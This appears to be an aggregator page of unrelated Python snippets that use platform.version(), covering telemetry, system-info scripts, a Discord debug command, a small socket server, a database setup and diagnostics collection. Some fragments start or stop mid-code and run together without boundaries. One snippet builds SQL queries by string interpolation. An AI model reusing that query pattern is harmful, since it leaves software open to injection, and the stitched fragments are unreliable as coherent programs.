                            "x": bounding_box.minimum.x,
                            "y": bounding_box.minimum.y,
                            "z": bounding_box.minimum.z
                        },
                        "maximum": {
                            "x": bounding_box.maximum.x,
                            "y": bounding_box.maximum.y,
                            "z": bounding_box.maximum.z
                        }
                    }
                    model["transformation"] = {
                        "data":
                        str(node.getWorldTransformation().getData()).replace(
                            "\n", "")
                    }
                    extruder_position = node.callDecoration(
                        "getActiveExtruderPosition")
                    model[
                        "extruder"] = 0 if extruder_position is None else int(
                            extruder_position)

                    model_settings = dict()
                    model_stack = node.callDecoration("getStack")
                    if model_stack:
                        model_settings[
                            "support_enabled"] = model_stack.getProperty(
                                "support_enable", "value")
                        model_settings["support_extruder_nr"] = int(
                            model_stack.getProperty("support_extruder_nr",
                                                    "value"))

                        # Mesh modifiers;
                        model_settings[
                            "infill_mesh"] = model_stack.getProperty(
                                "infill_mesh", "value")
                        model_settings[
                            "cutting_mesh"] = model_stack.getProperty(
                                "cutting_mesh", "value")
                        model_settings[
                            "support_mesh"] = model_stack.getProperty(
                                "support_mesh", "value")
                        model_settings[
                            "anti_overhang_mesh"] = model_stack.getProperty(
                                "anti_overhang_mesh", "value")

                        model_settings[
                            "wall_line_count"] = model_stack.getProperty(
                                "wall_line_count", "value")
                        model_settings[
                            "retraction_enable"] = model_stack.getProperty(
                                "retraction_enable", "value")

                        # Infill settings
                        model_settings[
                            "infill_sparse_density"] = model_stack.getProperty(
                                "infill_sparse_density", "value")
                        model_settings[
                            "infill_pattern"] = model_stack.getProperty(
                                "infill_pattern", "value")
                        model_settings[
                            "gradual_infill_steps"] = model_stack.getProperty(
                                "gradual_infill_steps", "value")

                    model["model_settings"] = model_settings

                    data["models"].append(model)

            print_times = print_information._print_time_message_values
            data["print_times"] = {
                "travel":
                int(print_times["travel"].getDisplayString(
                    DurationFormat.Format.Seconds)),
                "support":
                int(print_times["support"].getDisplayString(
                    DurationFormat.Format.Seconds)),
                "infill":
                int(print_times["infill"].getDisplayString(
                    DurationFormat.Format.Seconds)),
                "total":
                int(
                    print_information.currentPrintTime.getDisplayString(
                        DurationFormat.Format.Seconds))
            }

            print_settings = dict()
            print_settings[
                "layer_height"] = global_container_stack.getProperty(
                    "layer_height", "value")

            # Support settings
            print_settings[
                "support_enabled"] = global_container_stack.getProperty(
                    "support_enable", "value")
            print_settings["support_extruder_nr"] = int(
                global_container_stack.getProperty("support_extruder_nr",
                                                   "value"))

            # Platform adhesion settings
            print_settings[
                "adhesion_type"] = global_container_stack.getProperty(
                    "adhesion_type", "value")

            # Shell settings
            print_settings[
                "wall_line_count"] = global_container_stack.getProperty(
                    "wall_line_count", "value")
            print_settings[
                "retraction_enable"] = global_container_stack.getProperty(
                    "retraction_enable", "value")

            # Prime tower settings
            print_settings[
                "prime_tower_enable"] = global_container_stack.getProperty(
                    "prime_tower_enable", "value")

            # Infill settings
            print_settings[
                "infill_sparse_density"] = global_container_stack.getProperty(
                    "infill_sparse_density", "value")
            print_settings[
                "infill_pattern"] = global_container_stack.getProperty(
                    "infill_pattern", "value")
            print_settings[
                "gradual_infill_steps"] = global_container_stack.getProperty(
                    "gradual_infill_steps", "value")

            print_settings[
                "print_sequence"] = global_container_stack.getProperty(
                    "print_sequence", "value")

            data["print_settings"] = print_settings

            # Send the name of the output device type that is used.
            data["output_to"] = type(output_device).__name__

            # Convert data to bytes
            binary_data = json.dumps(data).encode("utf-8")

            # Sending slice info non-blocking
            reportJob = SliceInfoJob(self.info_url, binary_data)
            reportJob.start()
        except Exception:
            # We really can't afford to have a mistake here, as this would break the sending of g-code to a device
            # (Either saving or directly to a printer). The functionality of the slice data is not *that* important.
            Logger.logException(
                "e", "Exception raised while sending slice info."
            )  # But we should be notified about these problems of course.
print('Platform,', platform.platform())

# Returns the (real) processor name, e.g. 'amdk6'.
print('Processor,', platform.processor())

# Returns the system’s release, e.g. '2.2.0' or 'NT'
print('Release,', platform.release())

# Returns the system/OS name, e.g. 'Linux', 'Windows', or 'Java'.
print('System,', platform.system())

# Returns (system, release, version) aliased to common marketing names used for some systems. It also does some reordering of the information in some cases where it would otherwise cause confusion.
# print('System alias,', platform.system_alias(system, release, version))

# Returns the system’s release version, e.g. '#3 on degas'.
print('Version,', platform.version())

# Fairly portable uname interface. Returns a namedtuple() containing six attributes: system, node, release, version, machine, and processor.
print('Uname,', platform.uname())

# Python related info
# Returns the Python version as string 'major.minor.patchlevel'.
print('Python version,', platform.python_version())

# Returns the Python version as tuple (major, minor, patchlevel) of strings.
print('Python version tuple,', platform.python_version_tuple())

# Returns a string identifying the Python implementation. Possible return values are: ‘CPython’, ‘IronPython’, ‘Jython’, ‘PyPy’.
print('Python implementation,', platform.python_implementation())

# Returns a tuple (buildno, builddate) stating the Python build number and date as strings.
Exemple #50
0
def uname():
    return "{} {} {} {}".format(
        platform.system(),
        platform.release(),
        platform.version(),
        platform.machine())
Exemple #51
0
 def get_version(self):
     if self.is_os():
         return platform.version()
     raise OsNotDetected('called in incorrect OS')
Exemple #52
0
'''
Author: Zhang yuxuan
purpose:  Get information
Date: 2020/6/30
'''


import platform
print("操作系统版本信息", platform.platform())
print('系统版本号', platform.version())
print('系统名称', platform.system())
print('系统位数', platform.architecture())
print('计算机类型', platform.machine())
print('网络名称', platform.node())
print("处理器名称", platform.processor())
print("python编译信息", platform.python_build())
print("python版本信息", platform.python_version())
    async def debug(self, ctx, *, option: str = None):
        """Shows useful informations to people that try to help you."""
        try:
            em = discord.Embed(color=0xad2929,
                               title='\ud83e\udd16 Debug Infos')
            system = ''
            if sys.platform == 'linux':
                system = subprocess.run(
                    ['uname', '-a'],
                    stdout=subprocess.PIPE).stdout.decode('utf-8').strip()
                if 'ubuntu' in system.lower():
                    system += '\n' + subprocess.run(
                        ['lsb_release', '-a'],
                        stdout=subprocess.PIPE).stdout.decode('utf-8').strip()
            elif sys.platform == 'win32':
                try:
                    platform
                except:
                    import platform
                system = '%s %s (%s)' % (platform.system(), platform.version(),
                                         sys.platform)
            else:
                system = sys.platform
            em.add_field(name='Operating System',
                         value='%s' % system,
                         inline=False)
            try:
                foo = subprocess.run("pip show discord.py",
                                     stdout=subprocess.PIPE)
                _ver = re.search(r'Version: (\d+.\d+.\w+)',
                                 str(foo.stdout)).group(1)
            except:
                _ver = discord.__version__
            em.add_field(name='Discord.py Version', value='%s' % _ver)
            em.add_field(name='PIP Version',
                         value='%s' %
                         pkg_resources.get_distribution('pip').version)
            if os.path.exists('.git'):
                try:
                    em.add_field(
                        name='Bot version',
                        value='%s' %
                        os.popen('git rev-parse --verify HEAD').read()[:7])
                except:
                    pass
            em.add_field(name='Python Version',
                         value='%s (%s)' % (sys.version, sys.api_version),
                         inline=False)
            if option and 'deps' in option.lower():
                dependencies = ''
                dep_file = sorted(open('%s/requirements.txt' %
                                       os.getcwd()).read().split("\n"),
                                  key=str.lower)
                for dep in dep_file:
                    if not '==' in dep: continue
                    dep = dep.split('==')
                    cur = pkg_resources.get_distribution(dep[0]).version
                    if cur == dep[1]:
                        dependencies += '\✅ %s: %s\n' % (dep[0], cur)
                    else:
                        dependencies += '\❌ %s: %s / %s\n' % (dep[0], cur,
                                                              dep[1])
                em.add_field(name='Dependencies', value='%s' % dependencies)
            cog_list = [
                "cogs." + os.path.splitext(f)[0]
                for f in [os.path.basename(f) for f in glob.glob("cogs/*.py")]
            ]
            loaded_cogs = [
                x.__module__.split(".")[1] for x in self.bot.cogs.values()
            ]
            unloaded_cogs = [
                c.split(".")[1] for c in cog_list
                if c.split(".")[1] not in loaded_cogs
            ]
            if option and 'cogs' in option.lower():
                if len(loaded_cogs) > 0:
                    em.add_field(name='Loaded Cogs ({})'.format(
                        len(loaded_cogs)),
                                 value='\n'.join(sorted(loaded_cogs)),
                                 inline=True)
                if len(unloaded_cogs) > 0:
                    em.add_field(name='Unloaded Cogs ({})'.format(
                        len(unloaded_cogs)),
                                 value='\n'.join(sorted(unloaded_cogs)),
                                 inline=True)
            else:
                em.add_field(name='Cogs',
                             value='{} loaded.\n{} unloaded'.format(
                                 len(loaded_cogs), len(unloaded_cogs)),
                             inline=True)
            if option and 'path' in option.lower():
                paths = "\n".join(sys.path).strip()
                if len(paths) > 300:
                    url = await hastebin(str(paths), self.bot.session)
                    em.add_field(name='Import Paths',
                                 value=paths[:300] +
                                 ' [(Show more)](%s)' % url)
                else:
                    em.add_field(name='Import Paths', value=paths)

            user = subprocess.run(
                ['whoami'],
                stdout=subprocess.PIPE).stdout.decode('utf-8').strip()
            if sys.platform == 'linux':
                user += '@' + subprocess.run(
                    ['hostname'],
                    stdout=subprocess.PIPE).stdout.decode('utf-8').strip()
            em.set_footer(
                text='Generated at {:%Y-%m-%d %H:%M:%S} by {}'.format(
                    datetime.datetime.now(), user))
            try:
                await ctx.send(content=None, embed=em)
            except discord.HTTPException as e:
                await ctx.send(content=None, embed=em)
        except:
            await ctx.send('``` %s ```' % format_exc())
import socket
import platform
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("", 20001))
s.listen(2)
print "Progam server"
data = ""
kamus = {"machine":platform.machine(),
         "release":platform.release(),
         "system":platform.system(),
         "version":platform.version(),
         "node":platform.node(),
         "quit":"OK"}

while data.lower() != "quit":
    komm, addr=s.accept()
    while data.lower() != "quit":
        data = komm.recv(1024)
        if data.lower() == 'quit':
            komm.send(kamus[data])
            print "Pertanyaan:", data
            s.close()
            break
        print "Pertanyaan:", data
        if kamus.has_key(data):
            komm.send(kamus[data])
        else:
            komm.send("Maaf perintah tidak ada")
                  
s.close()                  
    def __init__(self):

        # self.engine = create_engine('sqlite:///:memory:', echo=True)
        # self.engine = create_engine("postgresql://*****:*****@localhost/blocparty",
        #                              isolation_level="AUTOCOMMIT")
        # Note postgress needs AUTOCOMMIT or else postgress hangs when it gets to a matching trade
        # DATABASE_URL = 'sqlite:///pmarket.db'
        # DATABASE_URL = 'postgresql://*****:*****@ec2-54-83-8-246.compute-1.amazonaws.com:5432/dbee8j5ki95jfn'

        if platform.system() == 'Darwin':
            # Use local postgres if on mac
            DATABASE_URL = "postgresql://*****:*****@localhost/blocparty"
        elif platform.version().find('Ubuntu') != -1:
            DATABASE_URL = "postgresql://*****:*****@localhost/blocparty"
        else:
            # Use DATABASE_URL from env otherwise
            DATABASE_URL = os.environ['HEROKU_POSTGRESQL_JADE_URL']

        self.engine = create_engine(DATABASE_URL,
                                    isolation_level="AUTOCOMMIT",
                                    poolclass=NullPool)
        self.engine.echo = False
        self.metadata = MetaData(self.engine)
        # Users
        self.userTable = Table(
            'userTable',
            self.metadata,
            Column('traderId', Integer, primary_key=True),
            Column('verifyKey', String),
        )
        # Timestamp servers for signing UTC timestamps
        self.timeStampServerTable = Table(
            'timeStampServerTable',
            self.metadata,
            Column('tssId', Integer, primary_key=True, autoincrement=True),
            Column('verifyKey', String),
        )
        # Order book for all trades, including including order book,
        # matched, and linked trades
        self.orderBook = Table(
            'orderBook',
            self.metadata,
            Column('tradeId', Integer, primary_key=True, autoincrement=True),
            Column('price', Integer),
            Column('quantity', Integer),
            Column('marketId', Integer),
            Column(
                'traderId',
                Integer,
            ),
            Column('previousSig', LargeBinary),
            Column('signature', LargeBinary),
            Column('iMatched', Boolean),
            Column('iRemoved', Boolean),
            Column('timeStampUTC', TIMESTAMP),
            Column('timeStampUTCSignature', LargeBinary),
        )

        # Market table with minimum and maximum of each market.
        self.marketTable = Table('marketTable', self.metadata,
                                 Column('marketRootId', Integer),
                                 Column('marketBranchId', Integer),
                                 Column('marketId', Integer),
                                 Column('marketMin', Integer),
                                 Column('marketMax', Integer),
                                 Column('traderId', Integer),
                                 Column('previousSig', LargeBinary),
                                 Column('signature', LargeBinary),
                                 Column('timeStampUTC', TIMESTAMP),
                                 Column('timeStampUTCSignature', LargeBinary),
                                 Column('marketDesc', JSON))

        # Possible combinations of root market outcomes
        self.marketBounds = Table(
            'marketBounds',
            self.metadata,
            Column('marketBounds', Integer),
            Column('marketRootId', Integer),
            Column('marketBranchId', Integer),
            Column('marketMin', Integer),
            Column('marketMax', Integer),
        )

        # Market state (possible combinations)
        self.outcomeCombinations = Table(
            'outcomeCombinations',
            self.metadata,
            Column('outcomeId', Integer, primary_key=True),
            Column('marketRootId', Integer),
            Column('marketBranchId', Integer),
            Column('marketMin', Integer),
            Column('marketMax', Integer),
        )

        # SP tables
        '''
        spevent -  info for event
        spmarket - markets on events
        sprecord - odds records
        spscore - score records
        '''
        self.spevent = Table(
            'spevent', self.metadata,
            Column('eventid', Integer, primary_key=True, autoincrement=True),
            Column('sport', VARCHAR), Column('competition', VARCHAR),
            Column('event', JSON), Column('starttimestamputc', TIMESTAMP))

        self.spmarket = Table(
            'spmarket', self.metadata,
            Column('marketid', Integer, primary_key=True, autoincrement=True),
            Column('eventid', Integer), Column('markettype', VARCHAR),
            Column('runners', JSON), Column('marketparameters', JSON),
            Column('notes', VARCHAR))

        self.sprecord = Table(
            'sprecord', self.metadata,
            Column('recordid', Integer, primary_key=True, autoincrement=True),
            Column('source', VARCHAR), Column('marketid', Integer),
            Column('runnerid', Integer), Column('timestamputc', TIMESTAMP),
            Column('handicap', Float), Column('odds', Float),
            Column('stake', Float), Column('islay', Boolean),
            Column('isplaced', Boolean), Column('notes', VARCHAR))

        self.spscore = Table(
            'spscore', self.metadata,
            Column('scoreid', Integer, primary_key=True, autoincrement=True),
            Column('eventid', Integer), Column('runnerid', Integer),
            Column('timestamputc', TIMESTAMP), Column('measure', VARCHAR),
            Column('value', Integer), Column('isfinal', Boolean))

        # Create all tables
        self.metadata.create_all(self.engine)
        self.conn = self.engine.connect()

        # Collateral limit
        self.COLLATERAL_LIMIT = 1e9
        # Number of markets limit (too many will make too many outcome combinations)
        self.ROOT_MARKET_LIMIT = 5
        self.BRANCH_MARKET_LIMIT = 10

        # Temporary local variables
        self.marketOutcomes = np.array([])  # Market corners
        self.p = np.array([0])
        self.q = np.array([0])
        self.mInd = np.array([0])
        self.tInd = np.array([0])
        self.iMatched = np.array([False])
        self.sig = np.array([0])

        # Time server
        self.TimeServer = BlocTime()
        # Register time series server
        ts = self.TimeServer.signedUTCNow()
        tssTable = pd.read_sql_query(
            'SELECT * FROM "timeStampServerTable" WHERE "verifyKey" = \'%s\'' %
            (ts['verifyKey']), self.conn)
        if tssTable.empty:
            newTSS = dict(verifyKey=ts['verifyKey'])
            # Insert to timeStampServerTable (autoincrements tssID)
            self.conn.execute(self.timeStampServerTable.insert(), [
                newTSS,
            ])

        self.tssTable = pd.read_sql_query(
            'SELECT * FROM "timeStampServerTable" WHERE "verifyKey" = \'%s\'' %
            (ts['verifyKey']), self.conn)
Exemple #56
0
import platform

# Muestra la aqruitectura del SO
print("[+] Architecture :", platform.architecture()[0])

#Visualización de la maquina virtual
print("[+] Machine :", platform.machine())

# Muestra la versión de SO
print("[+] Operating System Release :", platform.release())

# Muestra el nombre del SO que se esta usando
print("[+] System Name :", platform.system())

# Mostrará la versión del SO
print("[+] Operating System Version :", platform.version())

# Imprimirá o mostrará el hostname
print("[+] Node: " + platform.node())

# Mostrará la plataforma de sitema
print("[+] Platform :", platform.platform())

# Mostrará la info del procesador
print("[+] Processor :", platform.processor())

from datetime import datetime
import psutil

# Se usa la librería psutil para obtener la info de arranque
boot_time = datetime.fromtimestamp(psutil.boot_time())
Exemple #57
0
    def createReftestProfile(self, options, manifests, server='localhost', port=0,
                             profile_to_clone=None, startAfter=None):
        """Sets up a profile for reftest.

        :param options: Object containing command line options
        :param manifests: Dictionary of the form {manifest_path: [filters]}
        :param server: Server name to use for http tests
        :param profile_to_clone: Path to a profile to use as the basis for the
                                 test profile
        """

        locations = mozprofile.permissions.ServerLocations()
        locations.add_host(server, scheme='http', port=port)
        locations.add_host(server, scheme='https', port=port)

        # Set preferences for communication between our command line arguments
        # and the reftest harness.  Preferences that are required for reftest
        # to work should instead be set in reftest-preferences.js .
        prefs = {}
        prefs['reftest.timeout'] = options.timeout * 1000
        if options.totalChunks:
            prefs['reftest.totalChunks'] = options.totalChunks
        if options.thisChunk:
            prefs['reftest.thisChunk'] = options.thisChunk
        if options.logFile:
            prefs['reftest.logFile'] = options.logFile
        if options.ignoreWindowSize:
            prefs['reftest.ignoreWindowSize'] = True
        if options.shuffle:
            prefs['reftest.shuffle'] = True
        if options.repeat:
            prefs['reftest.repeat'] = options.repeat
        if options.runUntilFailure:
            prefs['reftest.runUntilFailure'] = True
        if options.cleanupCrashes:
            prefs['reftest.cleanupPendingCrashes'] = True
        prefs['reftest.focusFilterMode'] = options.focusFilterMode
        prefs['reftest.logLevel'] = options.log_tbpl_level or 'info'
        prefs['reftest.manifests'] = json.dumps(manifests)

        if startAfter is not None:
            prefs['reftest.startAfter'] = startAfter

        if options.e10s:
            prefs['browser.tabs.remote.autostart'] = True
            prefs['extensions.e10sBlocksEnabling'] = False

        # Bug 1262954: For winXP + e10s disable acceleration
        if platform.system() in ("Windows", "Microsoft") and \
           '5.1' in platform.version() and options.e10s:
            prefs['layers.acceleration.disabled'] = True

        # Bug 1300355: Disable canvas cache for win7 as it uses
        # too much memory and causes OOMs.
        if platform.system() in ("Windows", "Microsoft") and \
           '6.1' in platform.version():
            prefs['reftest.nocache'] = True

        if options.marionette:
            port = options.marionette.split(':')[1]
            prefs['marionette.defaultPrefs.port'] = int(port)

        preference_file = os.path.join(here, 'reftest-preferences.js')
        prefs.update(mozprofile.Preferences.read_prefs(preference_file))

        for v in options.extraPrefs:
            thispref = v.split('=')
            if len(thispref) < 2:
                print "Error: syntax error in --setpref=" + v
                sys.exit(1)
            prefs[thispref[0]] = thispref[1].strip()

        addons = []
        if not self.use_marionette:
            addons.append(options.reftestExtensionPath)

        if options.specialPowersExtensionPath is not None:
            if not self.use_marionette:
                addons.append(options.specialPowersExtensionPath)

        for pref in prefs:
            prefs[pref] = mozprofile.Preferences.cast(prefs[pref])

        # Install distributed extensions, if application has any.
        distExtDir = os.path.join(options.app[:options.app.rfind(os.sep)],
                                  "distribution", "extensions")
        if os.path.isdir(distExtDir):
            for f in os.listdir(distExtDir):
                addons.append(os.path.join(distExtDir, f))

        # Install custom extensions.
        for f in options.extensionsToInstall:
            addons.append(self.getFullPath(f))

        kwargs = {'addons': addons,
                  'preferences': prefs,
                  'locations': locations}
        if profile_to_clone:
            profile = mozprofile.Profile.clone(profile_to_clone, **kwargs)
        else:
            profile = mozprofile.Profile(**kwargs)

        if os.path.join(here, 'chrome') not in options.extraProfileFiles:
            options.extraProfileFiles.append(os.path.join(here, 'chrome'))

        self.copyExtraFilesToProfile(options, profile)
        return profile
Exemple #58
0
def get_version():
    return platform.version()
Exemple #59
0
def sys_info():
    total, used, free = shutil.disk_usage("/")
    diskio = psutil.disk_io_counters()

    try:
        info = {
            "platform": platform.system(),
            "OS dist": platform.dist(),
            "platform_release": platform.release(),
            "platform_version": platform.version(),
            "platform_uname": platform.uname(),
            "architecture": platform.machine(),
            "hostname": socket.gethostname(),
            "ip_address": socket.gethostbyname(socket.gethostname()),
            "mac_address": ":".join(re.findall("..",
                                               "%012x" % uuid.getnode())),
            "cpu": list(processors()),
            "mem": cb(psutil.virtual_memory().total),
            "diskspace_total": cb(total),
            "diskspace_used": cb(used),
            "diskspace_free": cb(free),
            "iostats": {
                "io_disk_read":
                cb(diskio.read_bytes),
                "io_disk_write":
                cb(diskio.write_bytes),
                "io_disk_read_count":
                cb(diskio.read_count),
                "io_disk_write_count":
                cb(diskio.write_count),
                "io_disk_read_time":
                diskio.read_time / 1000,
                "io_disk_write_time":
                diskio.write_time / 1000,
                "ulimits":
                os.popen('ulimit -a').read(),
                "top":
                os.popen('top -n 1 -b | head -20').read(),
                "free":
                os.popen('free').read(),
                "lscpu":
                os.popen('lscpu').read(),
                "df":
                os.popen('df -m').read(),
                "java_heap_ps":
                os.popen('ps -ef | grep java').read(),
                "docker_version":
                os.popen('docker --version').read(),
                "docker-compose_version":
                os.popen('docker-compose --version').read(),
                "docker_ps_a":
                os.popen('docker ps -a').read(),
                "docker_images":
                os.popen('docker images -a').read(),
                "docker_stats":
                os.popen('docker stats -a --no-stream').read(),
                "docker_network":
                os.popen('docker network ls').read(),
                "docker_scanner_patches":
                os.popen(
                    'docker exec bigid-scanner ls -l /usr/local/shared-libs').
                read(),
            }
        }
    except Exception:
        print("Oops! Something went wrong!")
    yield info
Exemple #60
0
                        help="Write extra files. Default = 0. Values = 1 " +
                        "(write all)", action='store_true')
    parser.add_argument("--noQA",             dest='doQA',
                        help='Trigger to switch QA OFF.', action='store_false')
    parser.add_argument("--ncpus",            dest='Ncpus',
                        help='Number of cpus available. Default will be ' +
                        '#available/2', default=None, type=int)

    options = parser.parse_args()

    print("--------------------------------------------------")
    print("Computer System Information:")
    print("System: %s" % platform.system())
    print("Node: %s" % platform.node())
    print("Release: %s" % platform.release())
    print("Version: %s" % platform.version())
    print("Machine: %s" % platform.machine())
    print("Processor: %s" % platform.processor())
    print("\nPython information: %s\n%s" % (sys.version,
                                            platform.python_implementation()))

    # Output the available version numbers for all used modules
    # This doesn't work with all modules, but it will list at
    print("Version numbers for python dependencies: ")
    for m in ModulesToUse:
        try:
            print("%s version %s" % (m, sys.modules.get(m).__version__))
        except:
            print("No version information for %s" % m)
    print("--------------------------------------------------")